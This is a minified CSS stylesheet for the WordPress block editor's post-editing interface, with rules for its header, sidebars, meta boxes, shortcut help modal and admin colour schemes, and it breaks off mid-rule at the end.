.edit-post-fullscreen-mode-close.has-icon:after{content:none}.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon{width:60px}.edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{display:block}.edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-post-header__dropdown .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .editor-document-tools__inserter-toggle.editor-document-tools__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:12px;padding-right:12px}}.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.edit-post-header__dropdown .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .editor-post-saved-state.editor-post-saved-state:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-saved-state.editor-post-saved-state:after{content:none}.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover{border-left:none}.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover:before{background-color:#ddd;content:"";height:24px;margin-left:8px;margin-top:4px;width:1px}.show-icon-labels .edit-post-header__toolbar .block-editor-block-mover .block-editor-block-mover__move-button-container:before{background:#ddd;left:calc(50% + 1px);width:calc(100% - 24px)}.edit-post-header__dropdown .components-button.block-editor-list-view,.edit-post-header__dropdown .components-button.editor-history__redo,.edit-post-header__dropdown .components-button.editor-history__undo,.edit-post-header__dropdown .components-menu-item__button.components-menu-item__button,.edit-post-header__dropdown .table-of-contents .components-button{justify-content:flex-start;margin:0;padding:6px 6px 6px 40px;text-align:left;width:14.625rem}.show-icon-labels.interface-pinned-items{border-bottom:1px solid #ccc;display:block;margin:0 -12px;padding:6px 12px 12px}.show-icon-labels.interface-pinned-items>.components-button.has-icon{justify-content:flex-start;margin:0;padding:6px 6px 6px 8px;width:14.625rem}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{display:block;max-width:24px}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{padding-left:40px}.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{margin-right:8px}@media (min-width:600px){.edit-post-header__post-preview-button{display:none}}.is-distraction-free .interface-interface-skeleton__header{border-bottom:none}.is-distraction-free .edit-post-header{background-color:#fff;border-bottom:1px solid #e0e0e0;position:absolute;width:100%}.is-distraction-free .edit-post-header>.edit-post-header__settings>.edit-post-header__post-preview-button{visibility:hidden}.is-distraction-free .edit-post-header>.edit-post-header__settings>.editor-preview-dropdown,.is-distraction-free .edit-post-header>.edit-post-header__settings>.interface-pinned-items,.is-distraction-free .edit-post-header>.edit-post-header__toolbar .editor-document-tools__document-overview-toggle{display:none}.is-distraction-free .interface-interface-skeleton__header:focus-within{opacity:1!important}.is-distraction-free .interface-interface-skeleton__header:focus-within div{transform:translateX(0) translateZ(0)!important}.is-distraction-free .components-editor-notices__dismissible{position:absolute;z-index:35}.edit-post-fullscreen-mode-close.components-button{display:none}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button{align-items:center;align-self:stretch;background:#1e1e1e;border:none;border-radius:0;color:#fff;display:flex;height:61px;margin-bottom:-1px;position:relative;width:60px}.edit-post-fullscreen-mode-close.components-button:active{color:#fff}.edit-post-fullscreen-mode-close.components-button:focus{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:before{border-radius:4px;bottom:10px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #1e1e1e;content:"";display:block;left:9px;position:absolute;right:9px;top:9px;transition:box-shadow .1s ease}}@media (min-width:782px) and (prefers-reduced-motion:reduce){.edit-post-fullscreen-mode-close.components-button:before{transition-delay:0s;transition-duration:0s}}@media (min-width:782px){.edit-post-fullscreen-mode-close.components-button:hover:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #757575}.edit-post-fullscreen-mode-close.components-button.has-icon:hover:before{box-shadow:none}.edit-post-fullscreen-mode-close.components-button:focus:before{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #ffffff1a,inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}}.edit-post-fullscreen-mode-close.components-button .edit-post-fullscreen-mode-close_site-icon{border-radius:2px;height:36px;margin-top:-1px;object-fit:cover;width:36px}.edit-post-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-post-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-post-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-post-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-post-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-post-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.edit-post-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-post-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.edit-post-layout__metaboxes{clear:both;flex-shrink:0}.edit-post-layout .components-editor-notices__snackbar{bottom:40px;padding-left:16px;padding-right:16px;position:fixed;right:0}.is-distraction-free .components-editor-notices__snackbar{bottom:20px}.edit-post-layout .components-editor-notices__snackbar{left:0}@media (min-width:783px){.edit-post-layout .components-editor-notices__snackbar{left:160px}}@media (min-width:783px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{left:36px}}@media (min-width:961px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{left:160px}}.folded .edit-post-layout .components-editor-notices__snackbar{left:0}@media (min-width:783px){.folded .edit-post-layout .components-editor-notices__snackbar{left:36px}}body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{left:0!important}.edit-post-layout .editor-post-publish-panel{bottom:0;left:0;overflow:auto;position:fixed;right:0;top:46px;z-index:100001}@media (min-width:782px){.edit-post-layout .editor-post-publish-panel{animation:edit-post-post-publish-panel__slide-in-animation .1s forwards;border-left:1px solid #ddd;left:auto;top:32px;transform:translateX(100%);width:281px;z-index:99998}}@media (min-width:782px) and (prefers-reduced-motion:reduce){.edit-post-layout .editor-post-publish-panel{animation-delay:0s;animation-duration:1ms}}@media (min-width:782px){body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel{top:0}[role=region]:focus .edit-post-layout .editor-post-publish-panel{transform:translateX(0)}}@keyframes edit-post-post-publish-panel__slide-in-animation{to{transform:translateX(0)}}.edit-post-layout .editor-post-publish-panel__header-publish-button{justify-content:center}.edit-post-layout__toggle-entities-saved-states-panel,.edit-post-layout__toggle-publish-panel,.edit-post-layout__toggle-sidebar-panel{background-color:#fff;border:1px dotted #ddd;bottom:auto;box-sizing:border-box;display:flex;height:auto!important;justify-content:center;left:auto;padding:24px;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__sidebar:focus .edit-post-layout__toggle-sidebar-panel,.interface-interface-skeleton__sidebar:focus-within .edit-post-layout__toggle-sidebar-panel{bottom:0;top:auto}.edit-post-layout .entities-saved-states__panel-header{height:61px}.edit-post-meta-boxes-area{position:relative}.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{box-sizing:initial}.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{box-sizing:border-box}.edit-post-meta-boxes-area .postbox-header{border-bottom:0;border-top:1px solid #ddd}.edit-post-meta-boxes-area #poststuff{margin:0 auto;min-width:auto;padding-top:0}.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{box-sizing:border-box;color:inherit;font-weight:600;outline:none;padding:0 24px;position:relative;width:100%}.edit-post-meta-boxes-area .postbox{border:0;color:inherit;margin-bottom:0}.edit-post-meta-boxes-area .postbox>.inside{color:inherit;margin:0;padding:0 24px 24px}.edit-post-meta-boxes-area .postbox .handlediv{height:44px;width:44px}.edit-post-meta-boxes-area.is-loading:before{background:#0000;bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.edit-post-meta-boxes-area .components-spinner{position:absolute;right:20px;top:10px;z-index:5}.edit-post-meta-boxes-area .is-hidden{display:none}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{border:1px solid #757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{background:#fff;border-color:#757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{margin:-3px -4px}.edit-post-meta-boxes-area__clear{clear:both}.components-panel__header.edit-post-sidebar__panel-tabs{padding-left:0;padding-right:16px}.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{height:24px;min-width:24px;padding:0}@media (min-width:782px){.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{display:flex}}.edit-post-sidebar__panel{margin-top:-1px}.edit-post-post-format,.edit-post-post-slug{align-items:stretch;display:flex;flex-direction:column}.edit-post-post-visibility__dialog .editor-post-visibility{margin:8px;min-width:248px}h2.edit-post-template-summary__title{font-weight:500;line-height:24px;margin:0 0 4px}.edit-post-text-editor{background-color:#fff;flex-grow:1;position:relative;width:100%}.edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){border:1px solid #949494;border-radius:0;font-family:Menlo,Consolas,monaco,monospace;font-size:2.5em;font-weight:400;line-height:1.4;max-width:none;padding:16px}@media (min-width:600px){.edit-post-text-editor .editor-post-title.is-raw-text textarea,.edit-post-text-editor .editor-post-title:not(.is-raw-text){padding:24px}}.edit-post-text-editor .editor-post-title.is-raw-text textarea:focus,.edit-post-text-editor .editor-post-title:not(.is-raw-text):focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-post-text-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:0 12px 12px;width:100%}@media (min-width:960px){.edit-post-text-editor__body{padding:0 24px 24px}}.edit-post-text-editor__toolbar{background:#fffc;display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.edit-post-text-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-post-text-editor__toolbar{padding:12px 24px}}.edit-post-text-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:36px;margin:0 auto 0 0}.edit-post-visual-editor{background-color:#ddd;display:flex;flex:1 0 auto;flex-flow:column;position:relative}.edit-post-visual-editor:not(.has-inline-canvas){overflow:hidden}.edit-post-visual-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-post-visual-editor .components-button.has-icon{padding:6px}.edit-post-visual-editor__content-area{box-sizing:border-box;display:flex;flex-grow:1;height:100%;position:relative;width:100%}.edit-post-welcome-guide,.edit-template-welcome-guide{width:312px}.edit-post-welcome-guide__image,.edit-template-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-post-welcome-guide__image>img,.edit-template-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-post-welcome-guide__heading,.edit-template-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-post-welcome-guide__text,.edit-template-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-post-welcome-guide__inserter-icon,.edit-template-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-template-welcome-guide .components-button svg{fill:#fff}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:782px){.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{column-count:3}}@media (min-width:1280px){.edit-post-start-page-options__modal-content .block-editor-block-patterns-list{column-count:4}}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column;margin-bottom:24px}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__container{min-height:100px}.edit-post-start-page-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-preview__content{width:100%}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.js.block-editor-page{background:#fff}body.js.block-editor-page #wpcontent{padding-left:0}body.js.block-editor-page #wpbody-content{padding-bottom:0}body.js.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.js.block-editor-page #wpfooter{display:none}body.js.block-editor-page .a11y-speak-region{left:-1px;top:-1px}body.js.block-editor-page ul#adminmenu a.wp-has-current-submenu:after,body.js.block-editor-page ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body.js.block-editor-page .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.block-editor-page #wpwrap{overflow-y:auto}@media (min-width:782px){.block-editor-page #wpwrap{overflow-y:initial}}.components-modal__frame,.edit-post-header,.edit-post-sidebar,.edit-post-text-editor,.editor-post-publish-panel{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.edit-post-header *,.edit-post-header :after,.edit-post-header :before,.edit-post-sidebar *,.edit-post-sidebar :after,.edit-post-sidebar :before,.edit-post-text-editor *,.edit-post-text-editor :after,.edit-post-text-editor :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before{box-sizing:inherit}@media (min-width:600px){.block-editor__container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.block-editor__container{min-height:calc(100vh - 32px)}body.is-fullscreen-mode .block-editor__container{min-height:100vh}}.block-editor__container img{height:auto;max-width:100%}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}.interface-interface-skeleton__sidebar{border-left:none}@media (min-width:782px){.is-sidebar-opened .interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0;overflow:hidden scroll}}:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-left:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-left:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-right:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-right:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:10px;right:auto;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-right:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;left:0;max-height:100%;position:fixed;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{right:0}@media (min-width:783px){.interface-interface-skeleton{right:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{right:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{right:160px}}.folded .interface-interface-skeleton{right:0}@media (min-width:783px){.folded .interface-interface-skeleton{right:36px}}body.is-fullscreen-mode .interface-interface-skeleton{right:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-left:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-right:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-right:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:300px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:8px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}}.edit-post-header{align-items:center;background:#fff;display:flex;flex-wrap:wrap;height:60px;justify-content:space-between;max-width:100vw}@media (min-width:280px){.edit-post-header{flex-wrap:nowrap}}.edit-post-header__toolbar{align-items:center;display:flex;flex-grow:3;flex-shrink:8;overflow:hidden;padding:2px 0}.edit-post-header__toolbar .table-of-contents{display:none}@media (min-width:600px){.edit-post-header__toolbar .table-of-contents{display:block}}.edit-post-header__toolbar .selected-block-tools-wrapper{align-items:center;display:flex;height:60px;overflow:hidden}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{border-bottom:0;height:100%}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar{height:100%;padding-top:15px}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){height:32px}.edit-post-header__toolbar .selected-block-tools-wrapper:after{background-color:#ddd;content:"";height:24px;margin-right:8px;width:1px}.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group{border-left:none}.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar:after{background-color:#ddd;content:"";height:24px;margin-right:8px;margin-top:4px;width:1px}.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-post-header__toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{display:none}.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{height:32px;overflow:visible}@media (min-width:600px){.edit-post-header__toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{position:relative;top:-10px}}.edit-post-header__toolbar .selected-block-tools-wrapper.is-collapsed{display:none}.edit-post-header__block-tools-toggle{margin-right:2px}.edit-post-header__center{display:flex;flex-grow:1;justify-content:center}.edit-post-header__center.is-collapsed{display:none}.edit-post-header__settings{align-items:center;display:inline-flex;flex-wrap:nowrap;gap:8px;padding-left:4px}@media (min-width:600px){.edit-post-header__settings{padding-left:8px}}.edit-post-header__dropdown .components-button.has-icon,.show-icon-labels .edit-post-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{width:auto}.edit-post-header__dropdown .components-button.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{display:none}.edit-post-header__dropdown .components-button.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{content:attr(aria-label)}.edit-post-header__dropdown .components-button.has-icon[aria-disabled=true],.show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{background-color:initial}.edit-post-header__dropdown .is-tertiary:active,.show-icon-labels .edit-post-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{background-color:initial;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color)}.edit-post-header__dropdown .components-button.has-icon.button-toggle svg,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg{display:block}.edit-post-header__dropdown .components-button.has-icon.button-toggle:after,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle:after,.show-icon-labels .edit-post-header 